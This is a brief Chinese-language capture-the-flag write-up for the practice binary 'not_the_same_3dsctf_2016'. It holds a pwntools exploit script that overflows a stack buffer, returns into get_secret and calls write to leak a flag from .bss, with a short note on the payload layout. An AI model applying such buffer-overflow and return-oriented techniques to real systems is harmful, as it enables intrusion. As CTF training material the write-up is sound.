一开始没看到get_secret函数,去用mprotect去做了,结果报错卡住了。
思路是用write把get_serect写到bss里的flag显示出来,write bss就可以。
exp:
from pwn import *
from LibcSearcher import *
context(log_level = 'debug',arch ='i386',os = 'linux' )
r = remote('node3.buuoj.cn', 25513)
#r = process('./not_the_same_3dsctf_2016')
elf = ELF('./not_the_same_3dsctf_2016')
rop = ROP(elf)
bss = 0x080ECA2D
write = elf.sym['write']
p = flat(['a'*0x2d, 0x080489A0, write, bss, 1, bss, 45])
r.sendline(p)
r.interactive()
a padding
get_secret 返回地址
write 下一个函数
bss 返回地址
1,bss,45 write的参数